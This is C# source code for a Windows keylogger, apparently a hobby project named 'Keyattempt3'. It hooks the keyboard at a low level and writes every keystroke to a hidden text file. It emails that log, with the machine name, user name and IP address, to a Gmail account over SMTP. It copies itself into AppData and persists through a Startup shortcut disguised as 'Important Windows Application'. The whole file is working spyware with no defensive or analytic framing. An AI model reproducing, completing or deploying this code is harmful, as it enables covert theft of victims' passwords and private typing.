source

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Threading;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using static System.Resources.ResXFileRef;
using System.Net.Mail;
using System.Diagnostics;
using IWshRuntimeLibrary;
using File = System.IO.File;
using Microsoft.Win32;
using System.Runtime.InteropServices.ComTypes;
using System.Net;
using System.Net.Sockets;

namespace Keyattempt3
{
    class Program
    {
        private static int WM_KEYBOARD_LL = 13;
        private static int WM_KEYDOWN = 0x0100;
        private static IntPtr hook = IntPtr.Zero;
        private static LowLevelKeyboardProc llkProcedure = HookCallBack;
        static void Main(string[] args)
        {

            //GetIPAddress();

            String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
            dir = dir + @"\Docs\";
            String dir2 = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
            dir2 = dir2 + @"\Roaming\";

            if (File.Exists(dir + "wind.txt"))
            {
                SendEmail();
                Create();


            }
            else if (!File.Exists(dir + "wind.txt"))
            {
                String filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
                filepath = filepath + @"\Docs\";

                if (!Directory.Exists(filepath))
                {
                    Directory.CreateDirectory(filepath);

                }

                string path = (@filepath + "Wind.txt");

                if (!File.Exists(path))
                {
                    using (StreamWriter sw = File.CreateText(path))
                    {

                    }
                    SendEmail();

                }
                Clone();
                Create();

            }
            else
            {
                String filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
                filepath = filepath + @"\Docs\";

                if (!Directory.Exists(filepath))
                {
                    Directory.CreateDirectory(filepath);
                }

                string path = (@filepath + "Wind.txt");

                if (!File.Exists(path))
                {
                    using (StreamWriter sw = File.CreateText(path))
                    {

                    }
                    SendEmail();

                }
                Clone();
                Create();
            }

            hook = SetHook(llkProcedure);
            Application.Run();
            UnhookwindowsHookEx(hook);
        }

        private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
        private static IntPtr HookCallBack(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
            {
                String filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
                filepath = filepath + @"\Docs\";

                if (!Directory.Exists(filepath))
                {
                    Directory.CreateDirectory(filepath);
                }

                string path = (@filepath + "Wind.txt");

                if (!File.Exists(path))
                {
                    using (StreamWriter sw = File.CreateText(path))
                    {

                    }

                }

                else
                {
                    int vkCode = Marshal.ReadInt32(lParam);
                    String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);

                    if (((Keys)vkCode).ToString() == "OemPeriod")
                    {

                        StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
                        sw.Write(".");
                        sw.Close();
                    }
                    else if (((Keys)vkCode).ToString() == "Oemcomma")
                    {

                        StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
                        sw.Write(",");
                        sw.Close();
                    }
                    else if (((Keys)vkCode).ToString() == "Oemplus")
                    {

                        StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
                        sw.Write("[+/=]");
                        sw.Close();
                    }
                    else if (((Keys)vkCode).ToString() == "OemMinus")
                    {

                        StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
                        sw.Write("[-/_]");
                        sw.Close();
                    }
                    else if (((Keys)vkCode).ToString() == "Space")
                    {

                        StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
                        sw.Write(" ");
                        sw.Close();
                    }
                    else if (((Keys)vkCode).ToString() == "RShiftKey")
                    {

                        StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
                        sw.Write("[RShiftKey] ");
                        sw.Close();
                    }
                    else if (((Keys)vkCode).ToString() == "LShiftKey")
                    {

                        StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
                        sw.Write("[LShiftKey] ");
                        sw.Close();
                    }
                    else if (((Keys)vkCode).ToString() == "Return")
                    {

                        StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
                        sw.Write("[Enter/Return] ");
                        sw.Close();
                    }
                    else if (((Keys)vkCode).ToString() == "Back")
                    {

                        StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
                        sw.Write("[Backspace] ");
                        sw.Close();
                    }
                    else if (((Keys)vkCode).ToString() == "Delete")
                    {

                        StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
                        sw.Write("[Del] ");
                        sw.Close();
                    }
                    else if (((Keys)vkCode).ToString() == "[LControlKey]")
                    {

                        StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
                        sw.Write("LControlKey ");
                        sw.Close();
                    }
                    else if (((Keys)vkCode).ToString() == "[RControlKey]")
                    {

                        StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
                        sw.Write("[RControlKey] ");
                        sw.Close();
                    }
                    else if (((Keys)vkCode).ToString() == "D1")
                    {

                        StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
                        sw.Write("1");
                        sw.Close();
                    }
                    else if (((Keys)vkCode).ToString() == "D2")
                    {

                        StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
                        sw.Write("2");
                        sw.Close();
                    }
                    else if (((Keys)vkCode).ToString() == "D3")
                    {

                        StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
                        sw.Write("3");
                        sw.Close();
                    }
                    else if (((Keys)vkCode).ToString() == "D4")
                    {

                        StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
                        sw.Write("4");
                        sw.Close();
                    }
                    else if (((Keys)vkCode).ToString() == "D5")
                    {

                        StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
                        sw.Write("5");
                        sw.Close();
                    }
                    else if (((Keys)vkCode).ToString() == "D6")
                    {

                        StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
                        sw.Write("6");
                        sw.Close();
                    }
                    else if (((Keys)vkCode).ToString() == "D7")
                    {

                        StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
                        sw.Write("7");
                        sw.Close();
                    }
                    else if (((Keys)vkCode).ToString() == "D8")
                    {

                        StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
                        sw.Write("8");
                        sw.Close();
                    }
                    else if (((Keys)vkCode).ToString() == "D9")
                    {

                        StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
                        sw.Write("9");
                        sw.Close();
                    }
                    else if (((Keys)vkCode).ToString() == "D0")
                    {

                        StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
                        sw.Write("0");
                        sw.Close();
                    }
                    else if (((Keys)vkCode).ToString() == "OemQuestion")
                    {

                        StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
                        sw.Write("?");
                        sw.Close();

                    }
                    else
                    {
                        //Console.Out.Write((Keys)vkCode);

                        StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
                        sw.Write(((Keys)vkCode));
                        sw.Close();
                    }
                }

            }
            return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam);
        }


        private static IntPtr SetHook(LowLevelKeyboardProc proc)
        {
            Process currentProcess = Process.GetCurrentProcess();
            ProcessModule currentModule = currentProcess.MainModule;
            String moduleName = currentModule.ModuleName;
            IntPtr moduleHandle = GetModuleHandle(moduleName);

            return SetWindowsHookEx(WM_KEYBOARD_LL, llkProcedure, moduleHandle, 0);
        }


        static void SendEmail()
        {
            string localIP;
            using (Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, 0))
            {
                socket.Connect("8.8.8.8", 65530);
                IPEndPoint endPoint = socket.LocalEndPoint as IPEndPoint;
                localIP = endPoint.Address.ToString();
            }

            String Newfilepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
            string Newfilepath2 = Newfilepath + @"\Docs\Wind.txt";
            DateTime dateTime = DateTime.Now;
            String pcname = Environment.MachineName + " " + Environment.UserName + " logged ";

            //pcname = ("logged " + pcname);
            //string subtext = "logged ";

            pcname += dateTime + " ";

            SmtpClient client = new SmtpClient("smtp.gmail.com", 587); //Email service
            MailMessage LOGMESSAGE = new MailMessage();

            //Email sent from and to//

            LOGMESSAGE.From = new MailAddress("testingkey482@gmail.com");
            LOGMESSAGE.To.Add("testingkey482@gmail.com");
            LOGMESSAGE.Subject = pcname;

            client.UseDefaultCredentials = false;
            client.EnableSsl = true;
            client.Credentials = new System.Net.NetworkCredential(" ", " ");

            string newfile = File.ReadAllText(Newfilepath2);




            string attachTextFile = Newfilepath + @"\Docs\WinConfig.txt";
            File.WriteAllText(attachTextFile, newfile);

            LOGMESSAGE.Attachments.Add(new Attachment(attachTextFile));
            LOGMESSAGE.Body = pcname + "IP: " + localIP;


            client.Send(LOGMESSAGE);
            LOGMESSAGE = null;

        }
        public static string GetIPAddress()
        {
            var host = Dns.GetHostEntry(Dns.GetHostName());
            foreach (var ip in host.AddressList)
            {
                if (ip.AddressFamily == AddressFamily.InterNetwork)
                {
                    return ip.ToString();
                }
            }
            throw new Exception("No network adapters with an IPv4 address in the system!");
        }
        static void Create()
        {

            String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
            dir = dir + @"\Docs\Wind.txt";

            if (!Directory.Exists(dir))
            {

                String tpath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
                tpath = tpath + @"\ImportantWindowsApplication.exe";

                var wsh = new WshShell();

                IWshShortcut shortcut = wsh.CreateShortcut(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\Important Windows Application.lnk") as IWshRuntimeLibrary.IWshShortcut;
                shortcut.Arguments = "";
                shortcut.TargetPath = tpath;

                shortcut.WindowStyle = 1;
                shortcut.Description = "Shortcut";
                shortcut.WorkingDirectory = tpath; //@"\Important Windows Application.exe";
                shortcut.IconLocation = "icon.ico";
                shortcut.Save();

            }
            else
            {
                throw new NotImplementedException();
            }
        }

        static void Clone()
        {
            String fileName = String.Concat(Process.GetCurrentProcess().ProcessName, ".exe");
            String filePath = Path.Combine(Environment.CurrentDirectory, fileName);
            File.Copy(filePath, Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), fileName));
        }

        [DllImport("user32.dll")]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

        [DllImport("user32.dll")]
        private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadid);

        [DllImport("user32.dll")]

        private static extern bool UnhookwindowsHookEx(IntPtr hhk);

        [DllImport("kernel32.dll")]
        private static extern IntPtr GetModuleHandle(String lpModuleName);
    }

    }